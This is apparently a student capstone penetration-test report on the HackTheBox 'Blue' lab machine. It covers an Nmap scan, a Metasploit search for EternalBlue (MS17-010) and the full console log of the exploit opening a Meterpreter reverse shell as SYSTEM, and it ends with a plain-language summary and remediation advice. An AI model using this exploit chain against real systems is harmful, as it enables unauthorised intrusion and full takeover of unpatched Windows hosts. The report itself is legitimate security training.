



Capstone Project: Full VAPT Engagement

Summary

A full Vulnerability Assessment and Penetration Test was conducted against the **HackTheBox Blue machine** as part of the Week 4 Capstone Project. The target was found to be critically vulnerable to the **EternalBlue** exploit (CVE-2017-0143), a publicly known and weaponised vulnerability in the Windows SMBv1 protocol. Exploitation via Metasploit resulted in immediate NT AUTHORITY\SYSTEM level access, the highest privilege level on a Windows machine without requiring any credentials or user interaction. The engagement followed the PTES framework across all the phases.

Scope

Fields	Details
Target	BLUE (HackTheBox)
Target IP	192.168.1.10
Assessment Type	Black-box penetration test
Tool Used	Nmap, OpenVas, Metasploit



Reconnaissance

Active reconnaissance was performed using Nmap to identify open ports, services, and the operating system running on the target. The scan revealed several Windows-specific services and confirmed the target was running Windows 7 with SMB exposed on port 445.

```
(uddip@uddip)-[~/Downloads]
$ nmap 192.168.1.10 -sV
Starting Nmap 7.99 ( https://nmap.org ) at 2026-05-13 11:06 +0530
Nmap scan report for 192.168.1.10
Host is up (0.0022s latency).
Not shown: 991 closed tcp ports (reset)
PORT      STATE SERVICE        VERSION
135/tcp    open  msrpc           Microsoft Windows RPC
139/tcp    open  netbios-ssn     Microsoft Windows netbios-ssn
445/tcp    open  microsoft-ds    Microsoft Windows 7 - 10 microsoft-ds (workgroup: WORKGROUP)
49152/tcp  open  msrpc           Microsoft Windows RPC
49153/tcp  open  msrpc           Microsoft Windows RPC
49154/tcp  open  msrpc           Microsoft Windows RPC
49155/tcp  open  msrpc           Microsoft Windows RPC
49156/tcp  open  msrpc           Microsoft Windows RPC
49157/tcp  open  msrpc           Microsoft Windows RPC
MAC Address: 08:00:27:2A:95:91 (Oracle VirtualBox virtual NIC)
Service Info: Host: WIN-845Q99004PP; OS: Windows; CPE: cpe:/o:microsoft:windows
```

Fig 1: Nmap Scan

Vulnerability Analysis

Based on the reconnaissance findings, the primary attack vector identified was the unpatched SMBv1 service on port 445. EternalBlue (CVE-2017-0143) exploits a memory corruption vulnerability in the Windows SMB protocol's handling of transaction requests, allowing remote code execution without authentication

```
msf > search eternalblue

Matching Modules
=====
#  Name
-  -
0  exploit/windows/smb/ms17_010_eternalblue 2017-03-14 average Yes MS17-010 EternalBlue SMB Remote Windows Kern
el Pool Corruption
1  \_ target: Automatic Target . . .
2  \_ target: Windows 7 . . .
3  \_ target: Windows Embedded Standard 7 . . .
4  \_ target: Windows Server 2008 R2 . . .
5  \_ target: Windows 8 . . .
6  \_ target: Windows 8.1 . . .
7  \_ target: Windows Server 2012 . . .
8  \_ target: Windows 10 Pro . . .
9  \_ target: Windows 10 Enterprise Evaluation . . .
10 exploit/windows/smb/ms17_010_psexec 2017-03-14 normal Yes MS17-010 EternalRomance/EternalSynergy/Etern
alChampion SMB Remote Windows Code Execution
```

Fig 2: EternalBlue exploit Module



Exploitation

Metasploit was used to deliver the EternalBlue exploit against the confirmed vulnerable target. The ms17_010_eternalblue module was configured with the target IP, attacker IP, and a 64-bit Meterpreter reverse TCP payload.

```
uddip@uddip: ~/Downloads 93x42
msf exploit(windows/smb/ms17_010_eternalblue) > run
[*] Started reverse TCP handler on 192.168.1.9:4444
[*] 192.168.1.10:445 - Using auxiliary/scanner/smb/smb_ms17_010 as check
[+] 192.168.1.10:445 - Host is likely VULNERABLE to MS17-010! - Windows 7 Ultimate
Service Pack 1 x64 (64-bit)
/usr/share/metasploit-framework/vendor/bundle/ruby/3.3.0/gems/recog-3.1.26/lib/recog/finger
int/regexp_factory.rb:34: warning: nested repeat operator '+' and '?' was replaced with '*'
n regular expression
[*] 192.168.1.10:445 - Scanned 1 of 1 hosts (100% complete)
[+] 192.168.1.10:445 - The target is vulnerable.
[*] 192.168.1.10:445 - Connecting to target for exploitation.
[+] 192.168.1.10:445 - Connection established for exploitation.
[+] 192.168.1.10:445 - Target OS selected valid for OS indicated by SMB reply
[*] 192.168.1.10:445 - CORE raw buffer dump (38 bytes)
[*] 192.168.1.10:445 - 0x00000000 57 69 6e 64 6f 77 73 20 37 20 55 6c 74 69 6d 61 Window
Ultima
[*] 192.168.1.10:445 - 0x00000010 74 65 20 37 36 30 31 20 53 65 72 76 69 63 65 20 te 760
ervice
[*] 192.168.1.10:445 - 0x00000020 50 61 63 6b 20 31 Pack 1
[+] 192.168.1.10:445 - Target arch selected valid for arch indicated by DCE/RPC reply
[*] 192.168.1.10:445 - Trying exploit with 12 Groom Allocations.
[*] 192.168.1.10:445 - Sending all but last fragment of exploit packet
[*] 192.168.1.10:445 - Starting non-paged pool grooming
[+] 192.168.1.10:445 - Sending SMBv2 buffers
[+] 192.168.1.10:445 - Closing SMBv1 connection creating free hole adjacent to SMBv2 buffe
[*] 192.168.1.10:445 - Sending final SMBv2 buffers.
[*] 192.168.1.10:445 - Sending last fragment of exploit packet!
[*] 192.168.1.10:445 - Receiving response from exploit packet
[+] 192.168.1.10:445 - ETERNALBLUE overwrite completed successfully (0xC000000D)!
[*] 192.168.1.10:445 - Sending egg to corrupted connection.
[*] 192.168.1.10:445 - Triggering free of corrupted buffer.
[*] Sending stage (248902 bytes) to 192.168.1.10
[*] Meterpreter session 1 opened (192.168.1.9:4444 -> 192.168.1.10:49159) at 2026-05-13 11
:40 +0530
[+] 192.168.1.10:445 - =====
[+] 192.168.1.10:445 - =====WIN=====
[+] 192.168.1.10:445 - =====

meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter >
```

Fig 3: Exploit Successful

The exploit delivered a Meterpreter session running as NT AUTHORITY\SYSTEM — the highest privilege level on a Windows system — without requiring any credentials or privilege escalation steps.



Non-technical summary

During a recent security assessment conducted as part of our Week 4 Capstone project, we have identified a serious vulnerability on the target system. The weakness known as EternalBlue — allowed our testers to gain complete administrative control of the target computer without requiring a password or any prior access. This was possible because the system was running outdated software that had not received a critical security update available since 2017.

In a real-world scenario, an attacker exploiting this weakness could steal sensitive data, install ransomware, or use the compromised system to attack other machines on the same network. This exact vulnerability was responsible for the WannaCry ransomware attack, which caused over \$4 billion in global damage.

The fix is simple and immediate — applying the available security patch and disabling the outdated network protocol fully eliminates this risk. Our team has verified that the remediation works. We strongly recommend treating this as an urgent action across all systems in the environment.